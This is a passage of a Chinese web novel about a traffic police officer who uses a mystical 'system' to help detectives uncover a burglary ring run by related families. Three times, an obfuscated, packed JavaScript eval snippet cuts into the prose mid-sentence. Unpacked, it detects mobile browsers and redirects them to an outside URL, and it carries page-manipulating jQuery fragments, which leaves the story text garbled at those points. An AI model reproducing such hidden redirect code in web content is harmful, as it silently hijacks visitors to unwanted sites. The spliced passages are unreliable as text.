随着程昭猜想，系统更新了案件内容，显示这个团伙除了入室行窃，还偷捕猫狗。 这伙人太坏了吧！到处偷东西，搞破坏，还伤害小动物！ 程昭皱着眉，问：“芳湖小区是什么时候被乱放烟花爆竹的？” 程露算了一下时间，“上周周五晚上发生的。” 程昭想了一下，问：“你们怎么会去那个小区的？你们有认识的人住那边吗？” 程露点头说：“嗯，那个小区离学校很近，而且我们有个同学就是那个小区的，她也是我们志愿者。” 有熟人在就好办了，程昭决定要去了解一下事情，看看能不能找到线索，帮警方找到那伙人。 程昭连忙问：“那可不可以去问问你同学，小区最近有没有什么其他事情发生？有没有人家里被偷？” “啊？被偷东西？我现在去问问。”程露看了看时间，现在十点半，这个时间点，同学应该还没有睡觉，就直接去拿手机打电话。 程露打完电话回来，惊讶地和程昭说：“姐姐，她们小区真有人被偷了。” “有多少户被偷？”这伙人，上次在御景花园偷了几户人，估计在芳湖小区踩好点之后，也会出手几次再离开。 “我同学只知道一户，就是她的邻居，前天被偷的。”程露好奇地问，“姐，你怎么猜到有人会被偷的？” 程昭指了一下小橘，说：“之前我遇到小橘，它有个同伴，小白猫雪球。之前雪球的主人和我说过雪球走丢的经过，她住附近的御景花园小区，当时有人混进来乱放烟花爆竹，制造混乱，把雪球吓跑了……后来小区里面还出现了几次盗窃案。芳湖小区的事听起来耳熟，所以我就怀疑是不是同一伙人。” 程露十分震惊，眼睛都瞪圆了。之前逛完街太累想睡觉，但是她现在睡意都被吓跑了，“盗窃案居然和烟花爆竹的事有关？可能还有更多入室偷盗？天啊，我要再和我同学说说才行……” 确实，既然程露同学的邻居家已经被偷过，说明她那边已经被踩过点了。程昭想了想，点头说：“嗯，让她家人注意关好门窗。明天我也过去那个小区看看，查探一下有没有什么线索。” “好啊，我等下就去提醒她，明天我和你一起去芳湖小区吧，一起去找我同学。那边近学校，查完芳湖小区的事，我就从那边直接回学校宿舍。” 这种事情，程露当然要跟着去看了，不然她留在家里，会好奇到发疯的。 程昭笑着说：“当然可以啊，你看着时间就行。” 得到姐姐的允许，程露就放心了。程露继续去联系她的同学，提醒她注意防盗，并和她约好，明天去她家查看流浪猫失踪的问题。 26. 查探和发现 程昭程露吃过早餐，和程露的同学约好了时间，然后前往东城区的芳湖小区。 这个芳湖小区所处的地段很好，邻近本市最好的高中、初中。环境清幽绿化好，闹中取静。周围的商业化也做得很好，生活便利。所以有些有钱人会在这里置业，方便孩子读书。 不过这个小区是个老居民区，安保防护等比较老旧。围墙形同虚设，有心人很容易就可以进入小区里面。 程露的同学，张雯雯，一大早就起床，等程昭姐妹来访。 昨晚听了程露说盗窃团伙的事，张雯雯吓得差点失眠了。最近她家里只有她和奶奶在家，父母都出差了，真发生什么事，她们可是老的老小的小，没有一个顶事的。 程露和她讲了她姐姐的事，什么夜跑捉到小偷啦，什么一眼发现暗道啦，讲得神乎其技。希望她真的那么厉害，把盗贼团伙一网打尽吧…… 程露发信息告诉张雯雯，说她们快到小区门口了。张雯雯赶紧下楼去接人。 到了小区门口，张雯雯看到程露和一个大姐姐站在一起。这个姐姐比程露高一点，大概一米六，身型清瘦但肌肉，看起来很利落很清爽。她和程露一样，很漂亮的娃娃脸，但是比程露多了一股英气，过肩的头发带着一点微卷，看起来很有活力很可爱。 “这里~”程露看到了张雯雯，挥着手和她打招呼，然后拉着程昭，一起走了过来。 “这位是我的同学，张雯雯，她学习很厉害，考试经常都是班里的前五。这位是我姐姐，程昭，她是一名交警，而且是个很厉害的侦探。”程露热情地给两边介绍对方。 大家互相认识打完招呼之后，张雯雯带路，一行人进入小区，先去到张雯雯家。 张雯雯的奶奶听说了程昭她们要来查探盗窃案，还特意给她们准备饮料和点心，“你们两个小姑娘不要客气啊，多吃点，特地给你们准备的。” 张奶奶昨晚也听孙女说了盗窃团伙的事，不过她一把年纪了，已经见过很多大风大浪。她虽然也心生警惕，但是没有孙女那么慌张害怕。如果事情真来了，怕也没有用。 不过，对于程昭姐妹的热心帮忙，张奶奶十分感谢。人家不止提醒，还主动过来帮忙查探，这样的人应该被真心相待。无论程昭她们能不能查到线索，张奶奶也承了她们的好意了。 张奶奶把点心盘子放到程昭姐妹面前，笑着说：“无论能不能查到线索，你们这样主动过来帮忙，我们都很感谢你们。千万不要有心理负担，就当成过来做客。你们有什么问题，都可以来问我，我在这里住了二十几年了，对哪家哪户都很熟。” 程昭笑着说：“好的，谢谢你，张奶奶，那我不客气了。” 然后两人听张奶奶的推荐，吃了凤梨酥和蛋挞。不甜不腻，确实很好吃。 然后，程昭就开始步入正题，“可以先给我们说一下，你们小区发生混乱的事情经过吗？” 张奶奶点头，组织了一下语言，“那天是上周周五，大概晚上八点左右……当时我们正在吃饭，外面突然传来吵闹声，好像楼下有人在到处乱跑起哄，在好几个地方放烟花爆竹……” “听楼下散步的人说，那些人是在地上空地放置好烟花爆竹，点燃之后人就不见了，物业保安都没捉到人……这边放几发，那边放几发，现场除了放烟花爆竹的，还有很多人在围观……事情没多久就结束了，也没点着哪里，所以大家都没在意，都以为是恶作剧。” 程昭听了点点头，一边听一边留意系统显示的信息。心里推测，这些烟花爆竹，可能是在测试物业人员的反应速度，观察住户情况。 程昭继续问：“小区里面后来发生过什么？盗窃案只发生了一起吗？” 张奶奶点点头又摇摇头，“目前被偷的好像只有我们邻居家……不过我听说，在那之前，周二晚上，3栋有一户人家去完旅游三更半夜回家，看到有两个人在自家门口东张西望的。那两个人听到有人就跑了，距离太远，户主没看清楚长相。户主不确定是不是小偷，就没声张。等我们隔壁屋被偷了，他才说出来。” 程昭问：“3栋的是哪一户？我等下也去看看。” “没记错的话，应该是3栋602。” “好的，”程昭记下了，“那你们邻居，是什么时间被偷的，白天还是晚上？” “应该是晚上，具体时间不太清楚。他家是开小饭馆的，夫妻店，早上不开张，但是做夜市生意，所以他们回家得比较晚。周四那天晚上十二点左右回到家，发现门被撬了，然后报了警。” “有听到什么声响吗？” 张奶奶微微皱眉，“好像没有什么奇怪的声响……不过那天吃完晚饭，大概八九点，我去上厕所的时候，好像隐隐约约听到有人在附近看什么小猫的视频，视频里还有小孩说话，好像在说什么小白小橘还是小白小猪。不过也可能是楼上楼下的人在刷视频。” 小猫视频？程昭发现系统把这部分内容标了发光标识，看来当时看视频的人，是盗窃团伙的人。 不过，里面提到的小白小橘，难道是说小白猫雪球和她家小橘？应该不会这么巧吧…… 然后系统更新了关联内容，视频里面还真提到雪球和小橘。雪球之前定位项圈被破坏，那它很可能就是被盗窃团伙带走了。难道这个看视频的人，和它们有什么关系？ 带着疑问，程昭先去查看了一下张家的厕所，发现厕所窗外是室外，旁边是楼层过道的小阳台。 程昭让程露和张雯雯过道的阳台说话或者播放视频，弄点声响。程昭留在厕所，她发现声音不大的时候，也可以隐约听到一些。 程昭来到过道阳台这边，仔细观察周围的环境。这个过道阳台，稍微探身出去，可以看到被盗的那一户的客厅窗户。往过道另一侧望去，可以看到电梯和楼梯门口。这是一个把风的好位置。 程昭看了一下系统的信息关联表，里面还记录了过道阳台的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720317|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个鞋印。鞋印的码数看起来大概39码左右，像是运动鞋的鞋印，鞋印好像有一小块缺口。程昭用手机拍下了鞋印的花纹。 程昭推测，当时在阳台看小猫视频的人，应该就是给那晚盗窃的人把风的。这人盯梢的时候，还开小差看小猫视频，好像不太认真的样子，不知道是不是和盗窃团伙有不合…… 程昭一边心里胡乱推测着，一边到处查看。这一层住户的门口附近，不显眼的地方，被浅浅地画了奇形古怪的记号。 例如，张雯雯家就被画了一个倒下的梯子、两个+号和一些看不清的符号。 被偷的邻居，门口的墙角边画了几个圆圈、一个×号、一个五角星，还有一些奇怪的符号。 张雯雯这时才留意到，自家门口有这样的记号，“这些符号是什么意思啊？我们家也被踩过点？” 程昭点头说：“估计是被踩点的人，记下的记号。之前警察有留意这些符号吗？” 张奶奶摇摇头，说：“那天警察只看了被盗的那一户，这些记号不知道他们有没有留意，我也是现在才知道这个角落有记号。” “嗯，那我们可以拍照留个底，然后你们找时间把记号擦掉。如果擦掉之后还是被画，建议找天去报案。”程昭挠挠头，这些记号还是尽快去掉比较好，至少表明一个态度，表明自己已经发现了，震慑一下小偷。 因为被盗的邻居，现在没有人在家，所以程昭就打算在小区里面到处逛逛，看看有没有什么新发现。 张雯雯和程露跟在程昭身后到处查看，张奶奶就留在家里。 选了几栋几户人家查看，有的有标记，有的没有，符号也是一堆看不懂的记号。进展不多，程昭有点小气馁。如果可以遇到盗窃团伙的人就好了…… 走得有点热了，程昭就带着程露张雯雯，去小区的便利店买了几支雪糕吃。刚好有一辆面包车停在便利店旁边，正在给便利店送货。 程昭无意间看了一下系统，发现这个面包车被标记了关联。正在搬运货物的一个男人，还有旁边的一个少年，也被标记了关联。 居然遇到盗窃团伙的人和车吗？难得发现重大突破，程昭精神一振。她用手机偷偷拍下了车子和男人少年的照片，然后不动声色地吃着雪糕，偷偷观察。 车子好像贴过什么货运公司的标志，但是被撕掉了。车轮边上有很多飞溅的泥印，车窗边缘夹着一片红色的叶子。 搬货的男人衣服很旧，外套边缘都有毛边了，有点不修边幅。 少年的长相和男人长得有点相似，估计是有血缘关系的。不过少年的穿着比男人的要好一点，但是也是半新不旧的。 少年想要帮忙，但是男人让他在一边等。少年拿出手机，无聊地一边刷视频一边无意识地踱步。 程昭看向地面，发现少年的鞋印，也有一小块缺口，和之前过道阳台的鞋印十分相似。 难道，这个就是那晚给小偷把风的人？ 27. 按兵不动 程昭也没想到，居然真的给她遇到了盗窃团伙的人。 不过她没有什么实质证据可以证明，这两个人和盗窃案有关。过道阳台留下的鞋印，可没有标注日期。虽然她知道是那天留下的，但是难以证明。 现在还不知道那伙人都有什么人，贸然指证，反而会打草惊蛇，得不偿失。 她现在还带着两个女高中生，几个人都没有什么战斗力，不能轻举妄动。 而且张雯雯、张奶奶住在这个小区里面，踩点的人可能认得她们，最好不要让盗窃团伙知道她们帮忙查探的事，以免日后招来什么麻烦。 程昭十分自然地一边吃雪糕，一边带着程露、张雯雯离开小卖部。等她们走远了一些，程昭才停下来，回头看小卖部那个面包车。 “程姐姐，怎么了吗？”张雯雯好奇地跟着回头看，但是后面没有什么好看的啊，就是小卖部在进货。 程昭犹豫了一下，觉得还是应该给张雯雯通气，以免她们因为自己的隐瞒遭受损失。 程昭低声说：“我和你们说，但是你们先别说出去……我有点怀疑面包车送货来的两个人和盗窃团伙有关，那个少年的鞋印，在你家旁边的过道出现过。不过除此之外，我没有什么证据。” “！”张雯雯和程露都不约而同地捂住自己的嘴巴，生怕自己惊呼出声。 张雯雯定了定神，压低声音问：“那现在怎么办呀？他们又来这个小区，是继续踩点吗？” 程昭点头说：“很有可能。因为之前他们在御景花园就是陆陆续续地偷了几次，等小区安保升级了，才开始收手……你们有和别人说过，这个盗窃团伙的事吗？” 张雯雯摇摇头，“还没有，奶奶也说，先等你们查探之后，再决定要不要告诉物业。” “嗯，你们做得对……现在还不知道他们都有什么人，万一在物业有人，那就麻烦了……你们先稍等，我去打电话问问警察朋友，拜托他查一下车子和人。”程昭思考了一番，觉得这件事比较麻烦，光靠她们搞不定，还是要找警察来跟进。 ………… 程昭走到一边，给周立言打电话，电话没响几声就接通了，“喂，周队？” 周立言：“是我，程昭，有什么事吗？” 程昭整理了一下语言，说：“是这样的，你还记得我和你说过的，我收养小橘的经过吗？那时候我认识了你们小区的一个住户，叫李茹，她和我说过雪球丢失被偷的经过。当时有人混入小区乱放烟花爆竹，雪球受惊跑丢了，然后定位器被破坏，猫被人偷走了，后来小区频繁发生盗窃案。我们当时怀疑，那些事是不是同一伙人下的手。” 周立言回想了一下，也想起来了，“对，那天我听你说完之后，曾经去问过负责那几个盗窃案子的人。他们也怀疑过，那段时间的盗窃案，是不是同一伙人出的手。因为踩点做的标记，用的是同一套符号……可惜之后那些人没有再对御景花园下手，不知道去了哪里。” 原来周队还有去问过御景花园几个盗窃案的事啊，太好了。 程昭开心地说：“不愧是周队，太可靠了！周队，我们怀疑那伙人现在盯上了东城区的芳湖小区……芳湖小区最近也发生过很相似的情况，我妹的同学说，上周五这边小区也有人到处乱放烟花爆竹，之后小区里面出现了盗窃事件，也出现了流浪猫狗失踪情况……” “我今天也来这边看了，小区里面几栋楼房，很多户人家的墙面，都被画了记号……我还看到了一个人的鞋印，在盗窃房屋附近出现过，我怀疑那个是负责把风的人。我拍了一些照片，我飞讯发给你。” 周立言说：“好，你都发过来吧，我找之前御景花园盗窃案的人，一起来看看。” 程昭把踩点符号、过道阳台的鞋印、面包车、运货的父子、少年的鞋印等照片，都一一发给了周立言。 发完照片，程昭又给周立言打电话，补充说：“芳湖小区本周四晚上，曾发生过一起盗窃案。被盗的邻居说，那天晚上她曾经在厕所听到外面有人在看小猫视频，视频里面有小孩叫那些小猫的名字，小白小橘……” “她家厕所外面就是过道阳台，我怀疑那个地方曾经有人站在那里，给小偷把风。那个人留下的鞋印缺了一小块，我们在便利店遇到的一个少年，他的鞋印也缺了一小块。所以怀疑他就是盗窃案发生时，出现过的人。” 周立言说：“好的，我记下了，还有什么吗？” 程昭犹豫了一下，然后还是说了，“还有一个事情，我推测，那个少年可能曾经喂养过小橘和雪球。我有种感觉，这个少年对这个盗窃团伙，可能不太忠心。我怀疑，之前小橘雪球都被盗窃团的困住过一段时间，后来是他悄悄放走了两只小猫……不过这些推测没有太多依据，只是我的第六感。” 周立言轻笑一声，带着笑意的声音传进话筒，“知道了，神探小姐的第六感。放心吧，我会尽量想办法求证的……你再发一张小橘的照片给我吧，说不定后面用得着。” 周立言的态度，让程昭不自觉地放松下来。周队好像一直都很信任她。 即使她的推测没有证据证明，他也会努力帮她核实。不会妄下结论直接否定她，也不会不假思索地胡乱肯定。 “好的，我等下就发给你……你是想拿小橘的照片，试探那个少年吗？” 周立言说：“嗯，是有这个打算。先假设这个少年和他的父亲为盗窃团伙做事，但是看你发的照片，他们过得并不富裕，有可能是外围的成员。少年盯梢把风的时候出小差，说明他对盗窃团伙并不上心……不过说这些有点太早了，我需要先确定他们的身份。” 程昭说：“嗯，那我们现在还可以做什么？我今天和妹妹来芳湖小区悄悄调查，我们的发现目前只和张雯雯家说过，她们也还没有告诉物业或者其他人。” 周立言沉吟片刻，说：“你们先保持沉默吧，不要和别人说调查的事，以免打草惊蛇。我尽快联系御景花园和芳湖小区盗窃案的负责人，然后申请派人暗中监视芳湖小区……后面有进展就告诉你。” 听到周立言这么说，程昭高兴地猛点头，也不管电话那头不能看见，“好的！谢谢周队……对了，我这样找你帮忙查这个案件，会不会打扰到你啊？你们最近忙吗？” 周队答应了查案，程昭才想起，自己这样会不会给人家增加工作量。如果她按流程报警，案件就不一定分配到刑事三队了。 周立言轻笑，“你现在才想起这个啊？没事，我们最近都在查旧案，没有什么进展，干脆换个案件转换一下思路。而且，主要是盗窃案那边的警察出力。等他们评估完，如果决定联合调查， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724625|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看看能不能又借调你过来帮忙。” ………… 和周立言沟通完，程昭一脸笑容地挂断电话，回到程露张雯雯那边。 程昭拍拍她们两个的肩膀，笑着说：“好了，这事我已经和警方说了，我们今天调查的内容也发给周队了。周队说他去联络那几个盗窃案的负责人。车牌和人，他那边会帮我们查，有进展再告诉我们的……现在你们两个该干嘛就干嘛，侦探活动暂时告一段落了。” 程露和张雯雯面面相觑，无奈地耸耸肩。 张雯雯叹了一口气，“……好吧。那有进展记得和我们说哦。” 程露拍拍张雯雯的肩膀，承诺道：“放心，我会帮你追问我姐的，有情况就告诉你。” 张雯雯忍不住又回头看了一下小卖部的方向，面包车已经离开了。她问：“那我们现在要怎么办呢？” “因为害怕打草惊蛇，所以要麻烦你们先保持沉默，我们今天调查的情况，先不要说出去。你们这段时间注意做好防盗措施。警方会派人过来监视小区，说不定哪天他们出手，警察当场就捉住那伙人了。” 然后，程昭拿出手机，和张雯雯加了联系方式，“你们遇到什么情况，可以报警或者联系我。” ………… 和张雯雯、张奶奶道别之后，时间不早了，程露回去学校宿舍，程昭自己回家。 过了两天，周二早上，程昭在办公室接到周立言电话。 周立言带着笑意的声音在听筒传出，“昨晚芳湖小区又有人作案了，被我们派去监视的人，捉了正着。” 程昭大喜，“哈哈，这么快就捉到啦？太好了！” 周立言笑着说：“全靠你提醒，不然不能这么快。对了，这次捉住的几个人里面，有你之前拍到的那个少年。捉住的4个人，除了司机是成年人，其余的都是未成年人。几个人暂时都不肯开口招供……我已经和领导申请借你过来帮忙协助了。” 听到周立言的话，程昭忍不住看向领导庞达的方向，庞达也正在通电话，不时地点点头。 程昭说：“好的，如果领导让我去，我就马上过去。如果不批，我就下班尽快过来……你们联合调查，还是在市局吗？” 周立言说：“是的，虽然这是盗窃案，但是他们流窜作案好几回了。那个面包车的车牌号，在几个案件里面出现过。市局让我们刑事三队也来帮忙，组织联合调查。” ………… 程昭挂断电话，庞达刚好也招手叫程昭过去。 庞达笑着说：“小程，市局的人说，你帮忙发现了一个盗窃团伙的踪迹，想要你过去帮忙。” 程昭点头说：“是的，周日我去帮忙查了一下，刚好有发现，就联系了刑事三队的周警官。” “不错不错，小程休息天也不忘维护社会治安，觉悟很好……你等下就去市局帮忙吧，你的工作先放一放。如果有紧急要处理的，你、你就转交给老王去做吧。他那边没有安排什么任务。” 庞达这么一说，程昭才想起，自己确实是有个报告今天要交。于是，写报告的任务就转移到老王身上了。 虽然老王看不惯程昭，但是他不敢不听领导的安排，于是老老实实地接下了转交的任务。 事情安排妥当，程昭就立刻收拾东西，前往市局。 28. 盗窃亲属团 “你来啦？怎么不叫我下去接你？”周立言正在办公室联网查资料，看到办公室门口的程昭，微笑着坐起身来。 程昭笑着走过来，“门口的人有点记得我了，他听到我的来意，就让我直接上来找你。” 周立言挑眉，“也对，程交警的神探威名，已经渐渐传开了。” 程昭有点开心，又有点不好意思地摸摸鼻子，“神探什么的，不敢当不敢当。” 侯远山等人看到程昭，也纷纷和她打招呼。 周立言给程昭介绍了两位没见过的警官，“这位是戴丽君警官，是之前负责南城区御景花园几个盗窃案的负责人。这位是刘平警官，是负责东城区芳湖小区盗窃案的警官。经过统计，我们发现累计的损失金额较大，而且多区域作案，所以案件转交了给我们刑事科。” 戴丽君看起来三十几四十岁，给人的感觉很亲切。她笑着和程昭握手，说：“之前御景花园几个盗窃案，下面派出所的同志也没留意那些案件有关联。后来周队找我们了解情况，我们才发现是同一伙人。没想到这个也是程警官给的提醒。” 刘平高高瘦瘦的，戴着一副眼镜。他也笑着说：“幸亏程警官及时提醒。周队建议我们监视芳湖小区，说最近可能又有盗窃案，我们还将信将疑。没想到第一晚就蹲到了。” “你们直接叫我名字吧。”程昭爽朗地笑着说，“我也是刚好遇到了，就把怀疑告诉了周队。可以捉到人，也是全靠你们，我都没有怎么出力。” 周立言轻轻摇头，“好了，大家不要谦虚了。案子解决之后，我们可以在庆功宴慢慢聊。” “周队说得对，先忙正事。”戴丽君笑着说，“我和刘平继续去审问那几个人，看看能不能套出盗窃团的其他成员，先失陪一下。” 周立言带着程昭到了一个小会议室，会议室桌子上面堆满了资料箱和物证箱。 周立言说：“刘平他们怀疑这个盗窃团，和几个小偷惯犯有关联。刚才拿到了惯犯的资料，所以急着去试探……目前查到的资料，都放在会议室这边了，方便大家查阅。这是目前掌握的案件信息，这是我们整理线索的白板。” 周立言递给程昭一本资料和一个笔记本电脑，然后又拉出一块白板，白板上面贴着昨晚捉到的三个未成年小偷、一个成年司机的照片，然后画了几次作案的时间线和大概的案件信息。作案的时间线最早的是御景花园的，更早以前的打了一个问号。 程昭大概地看了白板两眼，然后打开了系统的信息关联表，先仔细看一遍资料文件。 资料文件整理罗列了几个盗窃案的时间、地点、被盗物品钱财等信息，程昭大概地看了一遍。系统都记录了这些相关的资料，但是对案件的调查方向，好像没有太多帮助。 程昭继续翻看资料，里面还记录了几个案件期间，监控拍到的可疑人物或者车牌号照片。照片有点多，大部分照片存在电脑里面。程昭一边看一边留意系统，发现系统标记了其中的几个人物和车牌。 资料的最后还附录了两个广场，案件发生期间的物业工作人员名单。程昭也大概看了一遍，发现系统标记了两个名字，御景花园的张明和芳湖小区的李凯。这两个名字都是烟花爆竹事件之后，两个小区增加人手，招聘进来的。 看完了资料，程昭又重新看回白板显示的内容。 之前遇到的那个少年，名叫王安平，昨晚被捉住的时候，他当时也正在把风。另外两个少年小偷，一个叫王智，一个叫王勇，几个少年都是十五十六的年纪。司机名叫张洋，27岁。 程昭观察几个人的照片，发现另外的两个未成年，相貌和少年有点相似。 相貌有点相似，又都姓王，难道他们是亲戚？ 系统更新了内容，肯定了程昭的猜测，这几个盗贼团的成员，确实是有亲戚关系。 程昭看向周立言，问：“这几个人，目前有说什么吗？警方有查到他们的信息吗？” 周立言说：“这几个人还没有说什么有用的东西。年轻的几个虽然很害怕，但是一句话也不说。司机则是一直在说冤枉，自称自己是普通的司机，收到订单，所以载他们到芳湖小区。” “王安平的父亲名叫王顺，就是你那天拍到的那个运货的男人，我们查到他曾经因为伤人入罪，在监狱呆了两年。” “王智王勇是亲兄弟，父亲名叫王贵，是王顺的哥哥，曾经经营过一家货运公司，后来经营不善倒闭了。” “几个少年的家人，我们尝试去联系了，但是只联系到王顺，他说他人在外面，要晚一点才可以过来。” “至于这个司机张洋，暂时没查到他和几个少年的联系。这是这几个人的资料。”周立言在资料箱里面，翻出了一个文件夹，递给程昭。 程昭接过资料，仔细查看。 王安平，C市人，15岁。父亲王顺，半年前出狱，母亲李娟两年前去世，有一个九岁的妹妹王安文。 王智/王勇，A市人，16岁/15岁。父亲王贵，经营的货运公司于两年前倒闭。母亲李华，在五年前去世。王智兄弟还有一个三岁的弟弟王飞，其母不详。 张洋，27岁，C市人，做过货运司机。父母在C市老家。有一个姐姐，叫张清，在A市生活。 程昭拿着笔，在草稿纸上面，一边思考一边涂涂画画。 程昭写下C市、A市，这两个城市在这些人的资料里面频繁出现。然后程昭又写下了他们涉及的姓氏，王、张、李。 系统既然记录了，盗贼团成员都是亲戚关系。那这个司机张洋，还有那两个被标记关联的工作人员，张明和李凯，会不会和资料里面这些人有亲戚关系？ 姓李，姓张……难道是王贵或者王顺妻子那边的亲戚？王贵的小儿子，母亲会不会姓张？ 程昭胡思乱想着，然后看到系统更新了内容，肯定了程昭的猜测……居然真被她猜对了，张洋的姐姐张清是王贵女朋友，小儿子的母亲。 看这些人的组成，感觉大部分都是以王贵为中心。难道他是团伙的核心？看系统的信息关联表，他的名字，确实是比其他人排得更前…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728912|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程昭托腮思考了一下，她现在知道了盗窃团伙的人员名单、几个可疑人物长相、几个车牌号，需要找一点理由，把调查方向引到这些人身上。 “盗窃团伙的人员，会不会都有亲戚关系呀？你看，这几个被捉的少年是亲戚，他们的父母亲戚，会和这个盗窃团毫不相关吗？” “我们也怀疑过这个方向，不过没有太多依据。刘平警官他们怀疑王安平的父亲王顺是主谋，因为他有犯罪记录，可能在监狱认识了一些人。” 居然怀疑王顺吗？程昭看了一下系统，王顺的关联程度，甚至比王安平还低…… 程昭指着王智兄弟，皱着眉说：“可是这就有点矛盾了，你看，要让王智王勇两兄弟听话帮忙盗窃，不走正道走歪道，父亲肯定比叔伯更容易引导他们走这一条路吧。而且王顺半年前才出狱，一出来不久就策划了御景花园的连环盗窃案，这个不合理呀。” 程昭停下来想了一下，问：“这个王贵，有照片吗？” 周立言回想了一下，说：“有的，我们找到了他以前搬运公司的照片，好像在电脑里面……这里，这个公司简介里面贴了几张，不过像素不高。需要清晰照片的话，我们叫人帮忙查一下。” 程昭点点头，“有高清照片就更好了，我先看看这些照片……” 王贵以前的搬运公司，做了六七年，后来因为资金链断裂倒闭……看当时简介的照片，王贵意气风发，和之前遇到的王顺虽然长相有点相似，但是整体看起来天差地别。 程昭一个个照片看过去，然后看到了三个人，被系统标记了关联信息。其中有一个女人，和张洋有几分相似。其余两个人，曾经在小区案发期间，监控里面出现过。 太好了，这些信息可以拿出来和警方分享了。 程昭连忙召唤周立言过来，“周队，你看，王贵身边这个女人，是不是和张洋有点相似？看他们举止比较亲密，这个女人会不会是王贵小儿子的母亲？” 周立言认真对比两人的长相，微微点头，“是有点像。” 周立言向会议室外的孙泽林招手，“泽林，麻烦你帮忙查一下王贵、司机姐姐张清的资料，看看他们是不是有关系。” 孙泽林比了个OK手势，然后开始干活。 程昭翻出了之前监控拍下的照片，然后和搬运公司的旧照片放在一起对比，“还有这两个人，以前是搬运公司的人，在小区案发期间出现过。他们会不会也是盗窃团里面的人？” 周立言放大图片对比，老简介上面的照片像素太低了，监控画面的像素也不高，“……程昭，你眼力真好，居然这样都被你发现了？” 程昭不好意思地挠挠头，都是系统的提醒，她没有那么好的眼力，“……可能是我的第六感比较强吧。” 周立言轻笑一声，然后把照片转发给了技术人员，麻烦他们帮忙修复像素，出个高清图。然后他又让孙泽林去查搬运公司的名单。 高清照片很快出来了，两厢对比，小区出现的人，确实是以前搬运公司的人，而且都是张清的亲戚。 29. 盗窃团落网和新事件 王贵的货运公司旧员工，有几个在案发期间出现过，这个重大发现让大家的精神都为之一振。 没多久，王贵和张清的关系，也被查出来了。 张清曾在王贵货运公司担任行政一职。在王贵第一任老婆去世不久，她就成为了他的女朋友，还为他生下了小儿子王飞。虽然两人没结婚，但是两人一直同居。所以被捉住的司机张洋，相当于是王贵的小舅子。 这下，王贵是主谋首领的嫌疑大大地增加了。 侯远山等人开始将调查方向，调整到王贵的关系网上面，并且调查王贵、张清等人的经济情况、住所等信息。 这是一个引导调查方向的好机会，程昭当然不会放过了。虽然说小区那两个工作人员应该不会被遗漏，但是引导一下，就可以提高效率了。 她提醒：“现在查到的人，都是他们的亲戚。继续查一下王贵和他老婆、女朋友的亲戚，说不定还有发现。” 侯远山笑着说：“没问题，都会去查的。查关系网，我们会先查他们的亲戚朋友。” 很好，这样应该目前系统识别标记的人，都可以很快被查出来了。 大家调查的时候，程昭也没闲下来等着。她继续查看其他的资料，然后看到了一个证据箱，里面放着一些东西，其中还有几部手机。 程昭问：“这些是什么？” 周立言看了箱子一眼，说：“这些是那四个人身上的随身物品。” 程昭想起王安平之前，好像播放过有小橘雪球出现过的视频，心里不禁有些好奇。她问：“我可以看看手机内容吗？” “可以的，我们搜查令刚刚下来了，手机已经解锁了。我们还没有仔细看里面内容，你可以先看。” “好，那我先看看。”程昭先拿起了王安平的手机，查看里面的内容。 王安平的相册里面有一些小猫的照片和视频，里面确实是有出现过小橘和雪球。拍摄的环境，看起来像是一个郊区的仓库或者厂房，画面偶尔会拍到地上几个破旧的空笼子。 视频照片里还出现过一个小女孩，应该就是王安平的妹妹王安文。在那些视频照片里面，可以看出两兄妹都很喜欢小猫小狗。最后一条关于小猫小狗的视频，是妹妹和小猫小狗们道别，哥哥和父亲开车，带着小猫小狗，去了一个公园附近放归…… 程昭心里感觉有点古怪，这伙人偷东西是为了钱，那偷猫偷狗是为了什么？偷了之后为什么会放归？ 没等程昭想清楚，有一名警员来到办公室，说：“周队，外面来了一个男的，自称是过来自首盗窃案的。他的名字叫王顺。” “什么？”众人感觉十分惊讶，案情现在已经逐渐明朗了，王顺居然来自首？ 周立言摸摸下巴，沉吟片刻，然后说：“估计是王贵知道昨晚行动失败，然后安排王顺来顶罪。我去和他聊聊吧，乔良和我一起去。程昭你先自己看资料和证物吧。” 虽然程昭也有点想去围观审讯，但是她确实不太懂审讯的事。王顺不可能是主谋，他来自首，说假话的可能肯定比较大。系统不会收集到什么有效的信息。所以她就先不去凑热闹了，继续把其他的证物也看完。 程昭乖乖点头，接受了周立言的安排。 乔良也把手上查询的工作转给了其他人，然后跟着周立言出去了。 程昭翻看完王安平的手机，然后随便拿了一部手机继续查看。证物袋上面标签写着，这个是王智的手机。程昭点开了手机，无意间看到一个有点熟悉的APPlogo。云盘APP？好像是那个医生偷拍用过的软件…… 突然，系统小五的电子音在程昭脑海响起：“宿主，你好像触发了一个新的事件。” 